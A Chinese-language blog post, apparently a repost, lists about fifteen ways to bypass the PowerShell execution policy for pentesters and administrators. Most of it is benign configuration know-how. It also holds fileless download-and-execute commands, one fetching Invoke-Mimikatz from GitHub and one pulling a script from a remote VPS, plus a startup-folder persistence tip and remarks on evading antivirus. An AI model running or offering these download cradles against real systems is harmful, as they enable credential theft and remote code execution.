前言:
默认情况下,PowerShell配置为阻止Windows系统上执行PowerShell脚本。对于渗透测试人员,系统管理员和开发人员而言,这可能是一个障碍,但并非必须如此。
什么是PowerShell执行策略?
PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下,它是“Restricted”(限制)的。然而,这个设置从来没有算是一种安全控制。相反,它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。
为什么我们要绕过执行政策?
因为人们希望使用脚本实现自动化操作,powershell为什么受到管理员、渗透测试人员、黑客的青睐,原因如下:
Windows原生支持
能够调用Windows API
能够运行命令而无需写入磁盘(可直接加载至内存,无文件落地)
能够避免被反病毒工具检测
大多数应用程序白名单解决方案已将其标记为“受信任”
一种用于编写许多开源Pentest工具包的媒介
如何查看执行策略
在能够使用所有完美功能的PowerShell之前,攻击者可以绕过“Restricted”(限制)execution policy。你可以通过PowerShell命令“executionpolicy“看看当前的配置。如果你第一次看它的设置可能设置为“Restricted”(限制),如下图所示:
Get-ExecutionPolicy
同样值得注意的是execution policy可以在系统中设置不同的级别。要查看他们使用下面的命令列表。更多信息可以点击这里查看微软的“Set-ExecutionPolicy” 。
Get-ExecutionPolicy -List | Format-Table -AutoSize
我们先将powershell执行策略设置为Restricted(限制),方便进行后续测试绕过PowerShell Execution Policy。
Set-ExecutionPolicy Restricted
绕过PowerShell执行策略
1、直接在Interactive PowerShell控制台中输入powershell代码
复制并粘贴你的PowerShell脚到一个交互式控制台,如下图所示。但是,请记住,你将受到当前用户权限限制。这是最基本的例子,当你有一个交互控制台时,可以方便快速地运行脚本。此外,这种技术不会更改配置或需要写入磁盘。
Write-Host "It's run!";
2、echo脚本并将其通过管道传递到PowerShell
简单的ECHO脚本到PowerShell的标准输入。这种技术不会导致配置的更改或要求写入磁盘。
Echo Write-Host "It's run!" | PowerShell.exe -noprofile -
3、从文件读取脚本并通过管道传输到PowerShell
使用Windows的"type"命令或PowerShell的"Get-Content"命令来从磁盘读取你的脚本并输入到标准的PowerShell中,这种技术不会导致配置文件的更改,但是需要写入磁盘。然而,如果你想试图避免写到磁盘,你可以从网络上远程读取你的脚本。
例1:Get-Content Powershell命令
Get-Content .\demo.ps1 | PowerShell.exe -noprofile -
例2:Type 命令
type .\demo.ps1 | PowerShell.exe -noprofile -
4、从远程下载脚本并通过IEX执行
这种技术可以用来从网上下载一个PowerShell脚本并执行它无需写入磁盘。它也不会导致任何配置更改。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')"
如无法使用github下载可换vps:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://182.xxx.xxx.156:10001/demo.ps1')"
5、使用使用command命令
这种技术和通过复制和粘贴来执行一个脚本是非常相似的,但它可以做没有交互式控制台。这是很好的方式适合执行简单的脚本,但更复杂的脚本通常容易出现错误。这种技术不会导致配置更改或要求写入磁盘。
例1:完整的命令
Powershell -command "Write-Host "Its run!"";
示例2:简短命令(-c)
Powershell -c "Write-Host "It’s run!'"
可能还值得注意的是,您可以将这些类型的PowerShell命令放入批处理文件中,并将它们放入自动运行的位置(如所有用户的启动文件夹),以在权限提升期间提供帮助。
6、使用EncodeCommand命令
这和使用"Command"命令非常像,但它为所有的脚本提供了一个Unicode / Base64编码串。通过这种方式加密你的脚本可以帮你绕过所有通过"Command"执行时会遇到的错误。这种技术不会导致配置文件的更改或要求写入磁盘。
例1: 完整的命令
$command = "Write-Host 'Its run!'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommand
powershell.exe -EncodedCommand $encodedCommand
示例2:通过简短的命令使用编码字符串
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuA
7、使用Invoke-Command命令
这是一个典型的通过交互式PowerShell控制台执行的方法。但最主要的是当PowerShell远程处理开启时我们可以用它来对远程系统执行命令。这种技术不会导致配置更改或要求写入磁盘。
Invoke-command -scriptblock {Write-Host "Its run!"}
8、下面的命令还可以用来抓取从远程计算机的execution policy并将其应用到本地计算机。
Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force
这种方式经测试不可行。
域环境下:
工作组下:
9、使用Invoke-Expression命令
这是另一个典型的通过交互式PowerShell控制台执行的方法。这种技术不会导致配置更改或要求写入磁盘。下面我列举了一些常用的方法来通过Invoke-Expression绕过execution policy。
例1:使用Get-Content的完整命令
Get-Content .\demo.ps1 | Invoke-Expression
示例2:使用Get-Content的简短命令
GC .\demo.ps1 | iex
10、使用“Bypass”绕过Execution Policy
当你通过脚本文件执行命令的时候这是一个很好的绕过execution policy的方法。当你使用这个标记的时候"没有任何东西被阻止,没有任何警告或提示"。这种技术不会导致配置更改或要求写入磁盘。
PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1
11、使用“Unrestricted”标记Execution Policy
这类似于"Bypass"标记。当你使用这个标记的时候,它会"加载所有的配置文件并运行所有的脚本。如果你运行从网上下载的一个未被签名的脚本,它会提示你需要权限",这种技术不会导致配置的更改或要求写入磁盘。
PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1
12、使用“Remote-Signed”标记Execution Policy
要想绕过执行限制,需要按照如下教程操作对脚本进行数字签名。
详细参考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
直接使用Remote-signed标记脚本无法运行的
PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1
13、通过交换AuthorizationManager禁用ExecutionPolicy
下面的函数可以通过一个交互式的PowerShell来执行。一旦函数被调用"AuthorizationManager"就会被替换成空。最终结果是,接下来的会话基本上不受execution policy的限制。然而,它的变化将被应用于会话的持续时间。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy
.\demo.ps1
13、把ExcutionPolicy设置成Process Scope
执行策略可以应用于多层次的。这包括你控制的过程。使用这种技术,执行策略可以被设置为您的会话的持续时间不受限制。此外,它不会导致配置更改或需要写入到磁盘。
Set-ExecutionPolicy Bypass -Scope Process
14、通过命令设置ExcutionPolicy为CurrentUser Scope
这种方法和上面那种类似。但是这种方法通过修改注册表将当前用户环境的设置应用到当前用户的环境中。此外,它不会导致在配置更改或需要写入到磁盘。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
15、通过注册表设置ExcutionPolicy为CurrentUser Scope
在这个例子中,展示了如何通过修改注册表项来改变当前用户的环境的执行策略。
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
总结总结
使用的execution policy不一定是开发商,管理员,或者。微软从来没有打算将它成为一个安全控制。这就是为什么有这么多选择绕过它。微软很好地提供了一些本地选项和安全社区也拿出一些真正有趣的东西。
来源:oschina
链接:https://my.oschina.net/u/4302130/blog/4318103